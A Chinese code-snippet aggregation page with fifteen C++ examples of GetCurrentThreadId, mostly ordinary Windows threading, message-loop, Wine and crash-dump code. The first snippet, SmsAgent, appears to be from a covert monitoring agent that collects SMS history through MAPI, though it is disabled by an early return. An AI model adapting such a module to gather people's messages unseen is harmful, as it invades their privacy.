本文整理汇总了C++中GetCurrentThreadId函数的典型用法代码示例。如果您正苦于以下问题:C++ GetCurrentThreadId函数的具体用法?C++ GetCurrentThreadId怎么用?C++ GetCurrentThreadId使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了GetCurrentThreadId函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: SmsAgent
DWORD WINAPI SmsAgent(LPVOID lpParam) {
Module *me = (Module *)lpParam;
Configuration *conf = me->getConf();
HANDLE eventHandle;
MAPIAgent* agent = MAPIAgent::Instance();
Observer *observerObj = Observer::self();
MSG Msg;
BOOL smsEnabled = FALSE, history = FALSE;
wstring dateFrom, dateTo;
JSONObject filter;
// NON DEVE PARTIRE FINCHE NON VIENE FIXATO
me->setStatus(MODULE_STOPPED);
DBG_TRACE(L"Debug - Messages.cpp - This module cannot work\n", 5, FALSE);
return 0;
// NON DEVE PARTIRE FINCHE NON VIENE FIXATO
// Cosi si prende la conf per SMS, per tutti gli altri e' uguale
// cambia solo il nome dell'array
try {
smsEnabled = conf->getBoolFromArray(L"sms", L"enabled");
filter = conf->getObjectFromArray(L"sms", L"filter");
history = conf->getBoolFromObject(filter, L"history");
dateFrom = conf->getStringFromObject(filter, L"datefrom");
dateTo = conf->getStringFromObject(filter, L"dateto");
} catch (...) {
smsEnabled = FALSE;
}
me->setStatus(MODULE_RUNNING);
eventHandle = me->getEvent();
DBG_TRACE(L"Debug - Messages.cpp - Messages Module started\n", 5, FALSE);
// Registriamoci all'observer
if (observerObj->Register(GetCurrentThreadId()) == FALSE) {
me->setStatus(MODULE_STOPPED);
DBG_TRACE(L"Debug - Messages.cpp - Messages Module [cannot register to Observer, exiting]\n", 5, FALSE);
return 0;
}
/*if (agent->Init(lpConfig, cbConfig) == FALSE) {
me->setStatus(MODULE_STOPPED);
return 0;
}*/
if (agent->Run(0) == FALSE) {
me->setStatus(MODULE_STOPPED);
return 0;
}
LOOP {
// Diciamo semplicemente alla coda di farli passare tutti
if (observerObj->GetMessage() != NULL) {
observerObj->MarkMessage(GetCurrentThreadId(), IPC_PROCESS, FALSE);
}
if (PeekMessage(&Msg, NULL, 0, 0, PM_REMOVE) != 0) {
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
// Keep the sleeping time at 50, otherwise the MAIL agent WON'T WORK!!!
WaitForSingleObject(eventHandle, 50);
if (me->shouldStop())
break;
}
agent->Quit();
agent->WaitForCollector();
agent->Destroy();
observerObj->UnRegister(GetCurrentThreadId());
me->setStatus(MODULE_STOPPED);
DBG_TRACE(L"Debug - Messages.cpp - Messages Module clean stop\n", 5, FALSE);
return 0;
}
示例2: RemoveMessagesFromBuyThreadQueue
VOID RemoveMessagesFromBuyThreadQueue(CONTENT_PARTNER_THREAD_CONTEXT* pThreadCtx)
{
BUY_CONTEXT* pBuyCtx = NULL;
MSG msg = {0};
while( PeekMessage(
&msg,
NULL,
pThreadCtx->buyThreadContext.msgBuy,
pThreadCtx->buyThreadContext.msgBuy,
PM_REMOVE ) )
{
ATLTRACE2("%x: RemoveMessagesFromBuyThreadQueue: PeekMessage in cleanup retrieved message to buy.\n", GetCurrentThreadId());
pBuyCtx = reinterpret_cast<BUY_CONTEXT*>(msg.lParam);
if(NULL != pBuyCtx)
{
if(NULL != pBuyCtx->cookie)
{
pBuyCtx->pIStream->Release();
pBuyCtx->pIStream = NULL;
}
delete pBuyCtx;
pBuyCtx = NULL;
}
} // while PeekMessage
}
示例3: RemoveMessagesFromLoginThreadQueue
VOID RemoveMessagesFromLoginThreadQueue(CONTENT_PARTNER_THREAD_CONTEXT* pThreadCtx)
{
LOGIN_CONTEXT* pLoginCtx = NULL;
MSG msg = {0};
while( PeekMessage(
&msg,
NULL,
pThreadCtx->loginThreadContext.msgAuthenticate,
pThreadCtx->loginThreadContext.msgAuthenticate,
PM_REMOVE ) )
{
ATLTRACE2("%x: RemoveMessagesFromLoginQueue: PeekMessage in cleanup retrieved message to authenticate.\n", GetCurrentThreadId());
pLoginCtx = reinterpret_cast<LOGIN_CONTEXT*>(msg.lParam);
if(NULL != pLoginCtx)
{
delete pLoginCtx;
pLoginCtx = NULL;
}
} // while PeekMessage
while( PeekMessage(
&msg,
NULL,
pThreadCtx->loginThreadContext.msgLogin,
pThreadCtx->loginThreadContext.msgLogin,
PM_REMOVE ) )
{
ATLTRACE2("x RemoveMessagesFromLoginQueue: PeekMessage in cleanup retrieved message to log in.\n", GetCurrentThreadId());
pLoginCtx = reinterpret_cast<LOGIN_CONTEXT*>(msg.lParam);
if(NULL != pLoginCtx)
{
delete pLoginCtx;
pLoginCtx = NULL;
}
} // while PeekMessage
while( PeekMessage(
&msg,
NULL,
pThreadCtx->loginThreadContext.msgLogout,
pThreadCtx->loginThreadContext.msgLogout,
PM_REMOVE ) )
{
ATLTRACE2("%x: RemoveMessagesFromLoginQueue: PeekMessage in cleanup retrieved message to log out.\n", GetCurrentThreadId());
// There is no context associated with a log-out message.
} // while PeekMessage
}
示例4: GetCurrentThreadId
hsThread::ThreadId hsThread::GetMyThreadId()
{
return GetCurrentThreadId();
}
示例5: ContentPartnerMessageLoop
HRESULT ContentPartnerMessageLoop(
CONTENT_PARTNER_THREAD_CONTEXT* pThreadCtx,
CComPtr<IWMPContentPartnerCallback> spCallback)
{
MSG msg = {0};
HRESULT hr = S_OK;
if(NULL == pThreadCtx || NULL == spCallback)
{
hr = E_UNEXPECTED;
goto cleanup;
}
// Windows message loop
while(TRUE)
{
BOOL ret = 0;
// Suppose we have several messages (for example,
// buy or download messages) in the queue, and then
// the user closes Windows Media Player. We would like
// to let Windows Media Player close without waiting for all
// those queued messages to be processed.
//
// So we use the following strategy.
//
// Peek into the message queue to see if there is an exit message.
// If there is an exit message anywhere in the queue, break out of
// the message loop even though there might be several
// messages remaining in the queue.
if( PeekMessage(
&msg,
NULL,
pThreadCtx->msgExitMessageLoop,
pThreadCtx->msgExitMessageLoop,
PM_REMOVE) )
{
ATLTRACE2("%x: ContentPartnerMessageLoop(type &d): PeekMessage retrieved an exit message.\n", GetCurrentThreadId(), pThreadCtx->threadType);
goto cleanup;
}
ret = GetMessage(&msg, 0, 0, 0);
if(-1 == ret)
{
ATLTRACE2("%x: ContentPartnerMessageLoop(type %d): GetMessage failed (returned -1).\n", GetCurrentThreadId(), pThreadCtx->threadType);
hr = HRESULT_FROM_WIN32(GetLastError());
goto cleanup;
}
if(pThreadCtx->msgExitMessageLoop == msg.message)
{
ATLTRACE2("%x: ContentPartnerMessageLoop(type %d): GetMessage retrieved an exit message.\n", GetCurrentThreadId(), pThreadCtx->threadType);
break; // Break out of the message loop.
}
switch(pThreadCtx->threadType)
{
case ThreadTypeDownload:
hr = HandleMessageForDownloadThread(&msg, pThreadCtx, spCallback);
break;
case ThreadTypeBuy:
hr = HandleMessageForBuyThread(&msg, pThreadCtx, spCallback);
break;
case ThreadTypeRefreshLicense:
hr = HandleMessageForRefreshLicenseThread(&msg, pThreadCtx, spCallback);
break;
case ThreadTypeLogin:
hr = HandleMessageForLoginThread(&msg, pThreadCtx, spCallback);
break;
case ThreadTypeSendMessage:
hr = HandleMessageForSendMessageThread(&msg, pThreadCtx, spCallback);
break;
case ThreadTypeUpdateDevice:
hr = HandleMessageForUpdateDeviceThread(&msg, pThreadCtx, spCallback);
break;
case ThreadTypeList:
hr = HandleMessageForListThread(&msg, pThreadCtx, spCallback);
break;
default:
hr = E_UNEXPECTED;
} // switch(threadType)
if(FAILED(hr))
{
goto cleanup;
}
} // while(TRUE)
cleanup:
if(NULL != pThreadCtx)
{
switch(pThreadCtx->threadType)
{
case ThreadTypeDownload:
RemoveMessagesFromDownloadThreadQueue(pThreadCtx);
break;
//.........这里部分代码省略.........
示例6: spthread_self
inline spthread_t spthread_self() {
return GetCurrentThreadId();
}
示例7: do_it
void WINAPI do_it(void)
{
HANDLE hc = NULL;
UINT_PTR dwCaller = 0;
#ifdef _LOGDEBUG
if ( GetEnvironmentVariableA("APPDATA",logfile_buf,MAX_PATH) > 0 )
{
strncat(logfile_buf,"\\",1);
strncat(logfile_buf,LOG_FILE,strlen((LPCSTR)LOG_FILE));
}
#endif
if (!dll_module)
{
#ifdef __GNUC__
dwCaller = (UINT_PTR)__builtin_return_address(0);
#else
dwCaller = (UINT_PTR)_ReturnAddress();
#endif
}
if (dwCaller)
{
GetModuleHandleExW(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, (LPCWSTR)dwCaller, &dll_module);
}
if ( read_appint(L"General",L"SafeEx") > 0 )
{
init_safed(NULL);
}
if ( read_appint(L"General", L"Portable") > 0 )
{
env_thread = (HANDLE)_beginthreadex(NULL,0,&init_global_env,NULL,0,NULL);
if (env_thread)
{
SetThreadPriority(env_thread,THREAD_PRIORITY_HIGHEST);
init_portable(NULL);
}
}
if ( is_browser() || is_thunderbird() )
{
if ( read_appint(L"General",L"GdiBatchLimit") > 0 )
{
hc = OpenThread(THREAD_ALL_ACCESS, 0, GetCurrentThreadId());
if (hc)
{
CloseHandle((HANDLE)_beginthreadex(NULL,0,&GdiSetLimit_tt,hc,0,NULL));
}
}
if ( read_appint(L"General",L"ProcessAffinityMask") > 0 )
{
hc = OpenThread(THREAD_ALL_ACCESS, 0, GetCurrentThreadId());
if (hc)
{
CloseHandle((HANDLE)_beginthreadex(NULL,0,&SetCpuAffinity_tt,hc,0,NULL));
}
}
if ( read_appint(L"General",L"CreateCrashDump") > 0 )
{
CloseHandle((HANDLE)_beginthreadex(NULL,0,&init_exeception,NULL,0,NULL));
}
if ( read_appint(L"General", L"Bosskey") > 0 )
{
CloseHandle((HANDLE)_beginthreadex(NULL,0,&bosskey_thread,&ff_info,0,NULL));
}
CloseHandle((HANDLE)_beginthreadex(NULL,0,&SetPluginPath,NULL,0,NULL));
}
}
示例8: K32WOWCallback16Ex
/**********************************************************************
* K32WOWCallback16Ex (KERNEL32.55)
*/
BOOL WINAPI K32WOWCallback16Ex( DWORD vpfn16, DWORD dwFlags,
DWORD cbArgs, LPVOID pArgs, LPDWORD pdwRetCode )
{
/*
* Arguments must be prepared in the correct order by the caller
* (both for PASCAL and CDECL calling convention), so we simply
* copy them to the 16-bit stack ...
*/
char *stack = (char *)CURRENT_STACK16 - cbArgs;
memcpy( stack, pArgs, cbArgs );
if (dwFlags & (WCB16_REGS|WCB16_REGS_LONG))
{
CONTEXT *context = (CONTEXT *)pdwRetCode;
if (TRACE_ON(relay))
{
DWORD count = cbArgs / sizeof(WORD);
WORD * wstack = (WORD *)stack;
DPRINTF("%04x:CallTo16(func=%04x:%04x,ds=%04x",
GetCurrentThreadId(),
context->SegCs, LOWORD(context->Eip), context->SegDs );
while (count) DPRINTF( ",%04x", wstack[--count] );
DPRINTF(") ss:sp=%04x:%04x",
SELECTOROF(NtCurrentTeb()->WOW32Reserved), OFFSETOF(NtCurrentTeb()->WOW32Reserved) );
DPRINTF(" ax=%04x bx=%04x cx=%04x dx=%04x si=%04x di=%04x bp=%04x es=%04x fs=%04x\n",
(WORD)context->Eax, (WORD)context->Ebx, (WORD)context->Ecx,
(WORD)context->Edx, (WORD)context->Esi, (WORD)context->Edi,
(WORD)context->Ebp, (WORD)context->SegEs, (WORD)context->SegFs );
SYSLEVEL_CheckNotLevel( 2 );
}
if (context->EFlags & 0x00020000) /* v86 mode */
{
EXCEPTION_REGISTRATION_RECORD frame;
frame.Handler = vm86_handler;
errno = 0;
__wine_push_frame( &frame );
__wine_enter_vm86( context );
__wine_pop_frame( &frame );
if (errno != 0) /* enter_vm86 will fall with ENOSYS on x64 kernels */
{
WARN("__wine_enter_vm86 failed (errno=%d)\n", errno);
if (errno == ENOSYS)
SetLastError(ERROR_NOT_SUPPORTED);
else
SetLastError(ERROR_GEN_FAILURE);
return FALSE;
}
}
else
{
/* push return address */
if (dwFlags & WCB16_REGS_LONG)
{
stack -= sizeof(DWORD);
*((DWORD *)stack) = HIWORD(call16_ret_addr);
stack -= sizeof(DWORD);
*((DWORD *)stack) = LOWORD(call16_ret_addr);
cbArgs += 2 * sizeof(DWORD);
}
else
{
stack -= sizeof(SEGPTR);
*((SEGPTR *)stack) = call16_ret_addr;
cbArgs += sizeof(SEGPTR);
}
/*
* Start call by checking for pending events.
* Note that wine_call_to_16_regs overwrites context stack
* pointer so we may modify it here without a problem.
*/
if (get_vm86_teb_info()->dpmi_vif)
{
context->SegSs = wine_get_ds();
context->Esp = (DWORD)stack;
insert_event_check( context );
cbArgs += (DWORD)stack - context->Esp;
}
_EnterWin16Lock();
wine_call_to_16_regs( context, cbArgs, call16_handler );
_LeaveWin16Lock();
}
if (TRACE_ON(relay))
{
DPRINTF("%04x:RetFrom16() ss:sp=%04x:%04x ",
GetCurrentThreadId(), SELECTOROF(NtCurrentTeb()->WOW32Reserved),
OFFSETOF(NtCurrentTeb()->WOW32Reserved));
DPRINTF(" ax=%04x bx=%04x cx=%04x dx=%04x bp=%04x sp=%04x\n",
(WORD)context->Eax, (WORD)context->Ebx, (WORD)context->Ecx,
(WORD)context->Edx, (WORD)context->Ebp, (WORD)context->Esp );
SYSLEVEL_CheckNotLevel( 2 );
//.........这里部分代码省略.........
示例9: interruptProcess
/////////////////////////////////////////////////////////////////////////////////////
// Called to interrupt a process that we didn't launch (and thus does not share our
// console). Windows XP introduced the function 'DebugBreakProcess', which allows
// a process to interrupt another process even if if the two do not share a console.
// If we're running on 2000 or earlier, we have to resort to simulating a CTRL-C
// in the console by firing keyboard events. This will work only if the process
// has its own console. That means, e.g., the process should have been started at
// the cmdline with 'start myprogram.exe' instead of 'myprogram.exe'.
//
// Arguments:
// pid - process' pid
// Return : 0 if OK or error code
/////////////////////////////////////////////////////////////////////////////////////
int interruptProcess(int pid)
{
// See if DebugBreakProcess is available (XP and beyond)
HMODULE hmod = LoadLibrary(L"Kernel32.dll");
if (hmod != NULL)
{
BOOL success = FALSE;
FARPROC procaddr = GetProcAddress(hmod, "DebugBreakProcess");
if (procaddr != NULL)
{
HANDLE proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)pid);
if (proc != NULL)
{
DebugBreakProcessFunc pDebugBreakProcess = (DebugBreakProcessFunc)procaddr;
success = (*pDebugBreakProcess)(proc);
CloseHandle(proc);
}
}
FreeLibrary(hmod);
hmod = NULL;
if (success)
return 0; // 0 == OK; if not, try old-school way
}
#ifdef DEBUG_MONITOR
_TCHAR buffer[1000];
#endif
int rc = 0;
consoleHWND = NULL;
#ifdef DEBUG_MONITOR
_stprintf(buffer, _T("Try to interrupt process %i\n"), pid);
OutputDebugStringW(buffer);
#endif
// Find console
EnumWindows (find_child_console, (LPARAM) pid);
if(NULL != consoleHWND) // Yes, we found out it
{
// We are going to switch focus to console,
// send Ctrl-C and then restore focus
BYTE control_scan_code = (BYTE) MapVirtualKey (VK_CONTROL, 0);
/* Fake Ctrl-C for SIGINT, and Ctrl-Break for SIGQUIT. */
BYTE vk_c_code = 'C';
BYTE vk_break_code = VK_CANCEL;
BYTE c_scan_code = (BYTE) MapVirtualKey (vk_c_code, 0);
BYTE break_scan_code = (BYTE) MapVirtualKey (vk_break_code, 0);
HWND foreground_window;
foreground_window = GetForegroundWindow ();
if (foreground_window)
{
/* NT 5.0, and apparently also Windows 98, will not allow
a Window to be set to foreground directly without the
user's involvement. The workaround is to attach
ourselves to the thread that owns the foreground
window, since that is the only thread that can set the
foreground window. */
DWORD foreground_thread, child_thread;
foreground_thread =
GetWindowThreadProcessId (foreground_window, NULL);
if (foreground_thread == GetCurrentThreadId ()
|| !AttachThreadInput (GetCurrentThreadId (),
foreground_thread, TRUE))
foreground_thread = 0;
child_thread = GetWindowThreadProcessId (consoleHWND, NULL);
if (child_thread == GetCurrentThreadId ()
|| !AttachThreadInput (GetCurrentThreadId (),
child_thread, TRUE))
child_thread = 0;
/* Set the foreground window to the child. */
if (SetForegroundWindow (consoleHWND))
{
if(0 != break_scan_code) {
/* Generate keystrokes as if user had typed Ctrl-Break */
keybd_event (VK_CONTROL, control_scan_code, 0, 0);
keybd_event (vk_break_code, break_scan_code, KEYEVENTF_EXTENDEDKEY, 0);
keybd_event (vk_break_code, break_scan_code,
KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
keybd_event (VK_CONTROL, control_scan_code, KEYEVENTF_KEYUP, 0);
}
/* Sleep for a bit to give time for respond */
//.........这里部分代码省略.........
示例10: s_serviceSetHBSig
static void s_serviceSetHBSig( void )
{
#if defined( HB_OS_UNIX ) || defined( HB_OS_OS2_GCC )
struct sigaction act;
#if defined( HB_THREAD_SUPPORT ) && ! defined( HB_OS_OS2 )
sigset_t blockall;
/* set signal mask */
sigemptyset( &blockall );
sigaddset( &blockall, SIGHUP );
sigaddset( &blockall, SIGQUIT );
sigaddset( &blockall, SIGILL );
sigaddset( &blockall, SIGABRT );
sigaddset( &blockall, SIGFPE );
sigaddset( &blockall, SIGSEGV );
sigaddset( &blockall, SIGTERM );
sigaddset( &blockall, SIGUSR1 );
sigaddset( &blockall, SIGUSR2 );
sigaddset( &blockall, SIGHUP );
pthread_sigmask( SIG_SETMASK, &blockall, NULL );
#endif
/* to avoid problems with differ sigaction structures and uninitialized
fields */
memset( &act, 0, sizeof( act ) );
#if defined( HB_OS_OS2_GCC ) || defined( __WATCOMC__ )
act.sa_handler = s_signalHandler;
#else
/* using more descriptive sa_action instead of sa_handler */
act.sa_handler = NULL; /* if act.sa.. is a union, we just clean this */
act.sa_sigaction = s_signalHandler; /* this is what matters */
/* block al signals, we don't want to be interrupted. */
#if 0
sigfillset( &act.sa_mask );
#endif
#endif
#ifdef HB_OS_OS2_GCC
act.sa_flags = SA_NOCLDSTOP;
#else
act.sa_flags = SA_NOCLDSTOP | SA_SIGINFO;
#endif
sigaction( SIGHUP, &act, NULL );
sigaction( SIGQUIT, &act, NULL );
sigaction( SIGILL, &act, NULL );
sigaction( SIGABRT, &act, NULL );
sigaction( SIGFPE, &act, NULL );
sigaction( SIGSEGV, &act, NULL );
sigaction( SIGTERM, &act, NULL );
sigaction( SIGUSR1, &act, NULL );
sigaction( SIGUSR2, &act, NULL );
/* IGNORE pipe */
signal( SIGPIPE, SIG_IGN );
#endif
#ifdef HB_OS_WIN
/* disable all os-level error boxes */
s_uiErrorMode = SetErrorMode(
SEM_FAILCRITICALERRORS | SEM_NOALIGNMENTFAULTEXCEPT | SEM_NOGPFAULTERRORBOX |
SEM_NOOPENFILEERRORBOX );
SetUnhandledExceptionFilter( s_exceptionFilter );
s_hMsgHook = SetWindowsHookEx( WH_GETMESSAGE, ( HOOKPROC ) s_MsgFilterFunc, NULL, GetCurrentThreadId() );
SetConsoleCtrlHandler( s_ConsoleHandlerRoutine, TRUE );
#endif
}
示例11: CPLGetPID
GIntBig CPLGetPID()
{
return (GIntBig) GetCurrentThreadId();
}
示例12: s_signalHandler
/* Manager of signals for windows */
static LONG s_signalHandler( int type, int sig, PEXCEPTION_RECORD exc )
{
HB_SIZE nPos;
HB_UINT uiSig;
/* let's find the right signal handler. */
hb_threadEnterCriticalSectionGC( &s_ServiceMutex );
/* avoid working if PRG signal handling has been disabled */
if( ! s_bSignalEnabled )
{
hb_threadLeaveCriticalSection( &s_ServiceMutex );
return EXCEPTION_EXECUTE_HANDLER;
}
s_bSignalEnabled = HB_FALSE;
nPos = hb_arrayLen( s_pHooks );
/* subsig not necessary */
uiSig = ( HB_UINT ) s_translateSignal( ( HB_UINT ) type, ( HB_UINT ) sig );
while( nPos > 0 )
{
PHB_ITEM pFunction;
HB_UINT uiMask;
pFunction = hb_arrayGetItemPtr( s_pHooks, nPos );
uiMask = ( HB_UINT ) hb_arrayGetNI( pFunction, 1 );
if( ( uiMask & uiSig ) == uiSig )
{
PHB_ITEM pExecArray, pRet;
int iRet;
/* we don't unlock the mutex now, even if it is
a little dangerous. But we are in a signal hander...
for now just 2 parameters */
pExecArray = hb_itemArrayNew( 3 );
hb_arraySetForward( pExecArray, 1, hb_arrayGetItemPtr( pFunction, 2 ) );
hb_arraySetNI( pExecArray, 2, uiSig );
/* the third parameter is an array:
* 1: low-level signal
* 2: low-level subsignal
* 3: low-level system error
* 4: address that rised the signal
* 5: process id of the signal riser
* 6: UID of the riser
*/
pRet = hb_arrayGetItemPtr( pExecArray, 3 );
hb_arrayNew( pRet, 6 );
hb_arraySetNI( pRet, HB_SERVICE_OSSIGNAL, type );
hb_arraySetNI( pRet, HB_SERVICE_OSSUBSIG, sig );
/* could be meaningless, but does not matter here */
hb_arraySetNI( pRet, HB_SERVICE_OSERROR, GetLastError() );
if( type == 0 ) /* exception */
hb_arraySetPtr( pRet, HB_SERVICE_ADDRESS, ( void * ) exc->ExceptionAddress );
else
hb_arraySetPtr( pRet, HB_SERVICE_ADDRESS, NULL );
/* TODO: */
hb_arraySetNI( pRet, HB_SERVICE_PROCESS, GetCurrentThreadId() );
/* TODO: */
hb_arraySetNI( pRet, HB_SERVICE_UID, 0 );
pRet = hb_itemDo( pExecArray, 0 );
iRet = hb_itemGetNI( pRet );
hb_itemRelease( pRet );
hb_itemRelease( pExecArray );
switch( iRet )
{
case HB_SERVICE_HANDLED:
s_bSignalEnabled = HB_TRUE;
hb_threadLeaveCriticalSection( &s_ServiceMutex );
return EXCEPTION_CONTINUE_EXECUTION;
case HB_SERVICE_QUIT:
s_bSignalEnabled = HB_FALSE;
hb_threadLeaveCriticalSection( &s_ServiceMutex );
hb_vmRequestQuit();
#ifndef HB_THREAD_SUPPORT
hb_vmQuit();
exit( 0 );
#else
hb_threadCancelInternal();
#endif
}
}
nPos--;
}
s_bSignalEnabled = HB_TRUE;
return EXCEPTION_EXECUTE_HANDLER;
}
示例13: WriteToDatabase
DWORD WINAPI WriteToDatabase( LPVOID lpParam )
{
DWORD dwCount=0, dwWaitResult;
DWORD time_out = 30; //time_out Milliseconds while WaitForSingleObject
DWORD sleep_time = 29; //sleep_time Milliseconds while WritetoDatabase
// Request ownership of mutex.
while( dwCount < 10 )
{
// dwWaitResult = WaitForSingleObject(
// ghMutex, // handle to mutex
// INFINITE); // no time-out interval
dwWaitResult = WaitForSingleObject(
ghMutex, // handle to mutex
time_out); //wait for time_out Milliseconds
// dwWaitResult = WaitForSingleObject(
// ghMutex, // handle to mutex
// IGNORE); //ignore
switch (dwWaitResult)
{
// The thread got ownership of the mutex
case WAIT_OBJECT_0:
__try {
// TODO: Write to the database
printf("Thread %d writing to database...\n",
GetCurrentThreadId());
dwCount++;
Sleep (sleep_time);
}
__finally {
// Release ownership of the mutex object
if (! ReleaseMutex(ghMutex))
{
// Deal with error.
printf("Thread %d ReleaseMutex error!\n",
GetCurrentThreadId ());
}
}
break;
// The thread got ownership of the mutex time-out
case WAIT_TIMEOUT:
{
// Deal with error.
printf("Thread %d WaitForSingleObject time-out! dwWaitResult = 0X%08X\n",
GetCurrentThreadId (),dwWaitResult);
}
break;
// The thread got ownership of an abandoned mutex
case WAIT_ABANDONED:
{
// Deal with error.
printf("Thread %d got ownership of an abandoned mutex!\n",
GetCurrentThreadId ());
}
return FALSE;
//The WaitForSingleObject function failed
case WAIT_FAILED :
{
// Deal with error.
printf("The WaitForSingleObject function failed!\n");
}
return FALSE;
default:
break;
}
}
return TRUE;
}
示例14: GetCurrentThreadId
//--------------------------------------------------------------------------------
void GameNetL2NEventDataFactory::createGameNetSendDataBufferPtr(GameNetSendDataBufferPtr& ptr, U32 buffSize)
{
NetSendDataBuffer* buffObj = NULL;
std::deque<NetSendDataBuffer*>* idleList = NULL;
GameNetSendDataBufferPool* pool = NULL;
GameNetSendDataBufferPoolManager* poolMgr = NULL;
DWORD threadId = GetCurrentThreadId();
poolMgr = createOrRetrieveGameNetSendDataBufferPoolManager( threadId );
if ( poolMgr )
{
Bool isNormalBuff = true;
pool = poolMgr->m_CreateObjectList;
// 如果小于默认值, 则分配缓存等于默认值
if ( buffSize <= MG_GAME_NET_PACKET_NORMAL_MAX_SIZE )
{
buffSize = MG_GAME_NET_PACKET_NORMAL_MAX_SIZE;
isNormalBuff = true;
}else
if ( buffSize <= MG_GAME_NET_PACKET_BIG_MAX_SIZE )
{
buffSize = MG_GAME_NET_PACKET_BIG_MAX_SIZE;
isNormalBuff = false;
}else
{
DYNAMIC_EEXCEPT_LOG("createGameNetSendDataBufferPtr : too long buffsize ");
return;
}
pool->mPoolCs.lock();
{
if ( isNormalBuff )
{
idleList = &pool->m_IdleNormalObjectList;
}else
{
idleList = &pool->m_IdleBigObjectList;
}
if ( idleList->size() > 0 )
{
buffObj = idleList->back();
idleList->pop_back();
}else
{
buffObj = mDriverMgr->mMgr->createNetSendDataBuffer( buffSize );
}
}
pool->mPoolCs.unlock();
poolMgr->mCreateCount++;
}else
{
DYNAMIC_EEXCEPT_LOG("createGameNetSendDataBufferPtr: not register thread !");
}
if ( buffObj )
{
buffObj->initialize();
buffObj->setActive( true );
ptr.setNull();
ptr.mFactory = this;
ptr.mCreateThreadID = threadId;
ptr.mNearestSendNetID = -1;
ptr.mLogicDataMaxSize = buffSize;
ptr.bind( buffObj );
if ( poolMgr )
{
poolMgr->mNearestCreatePtr.setNull();
poolMgr->mNearestCreatePtr = ptr;
}
}
}
示例15: OutputDebugStringA
// Credit to NTAuthority
LONG WINAPI DumpHandler::CustomUnhandledExceptionFilter(LPEXCEPTION_POINTERS ExceptionInfo)
{
// Ignore breakpoints.
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) return EXCEPTION_CONTINUE_EXECUTION;
// Try skipping exceptions
/* Disable that, it seems unsafe
if ((ExceptionInfo->ExceptionRecord->ExceptionFlags & EXCEPTION_NONCONTINUABLE) != EXCEPTION_NONCONTINUABLE)
{
OutputDebugStringA(hString::va("New exception at 0x%X, try ignoring it...", ExceptionInfo->ExceptionRecord->ExceptionAddress));
ExceptionInfo->ExceptionRecord->ExceptionFlags |= EXCEPTION_NONCONTINUABLE;
return EXCEPTION_CONTINUE_EXECUTION;
}
else
{
OutputDebugStringA("Ignoring failed. Handling it now...");
}
*/
// step 1: write minidump
char error[1024];
char filename[MAX_PATH];
__time64_t time;
tm* ltime;
_time64(&time);
ltime = _localtime64(&time);
strftime(filename, sizeof(filename) - 1, "Redacted - %H-%M-%S %d.%m.%Y.dmp", ltime);
_snprintf(error, sizeof(error) - 1, "A minidump has been written to %s.", filename);
HANDLE hFile = CreateFile(filename, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE)
{
MINIDUMP_EXCEPTION_INFORMATION ex = { 0 };
ex.ThreadId = GetCurrentThreadId();
ex.ExceptionPointers = ExceptionInfo;
ex.ClientPointers = FALSE;
MiniDumpWriteDump(GetCurrentProcess(), GetCurrentProcessId(), hFile, MiniDumpNormal, &ex, NULL, NULL);
CloseHandle(hFile);
}
else
{
_snprintf(error, sizeof(error) - 1, "An error (0x%x) occurred during creating %s.", GetLastError(), filename);
}
// step 2: exit the application
// why was this removed?
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_STACK_OVERFLOW)
{
MessageBox(0, "Termination because of a stack overflow.", "ERROR", MB_ICONERROR);
}
else
{
MessageBox(0, hString::va("Fatal error (0x%08x) at 0x%08x.\n%s", ExceptionInfo->ExceptionRecord->ExceptionCode, ExceptionInfo->ExceptionRecord->ExceptionAddress, error), "ERROR", MB_ICONERROR);
}
TerminateProcess(GetCurrentProcess(), ExceptionInfo->ExceptionRecord->ExceptionCode);
return 0;
}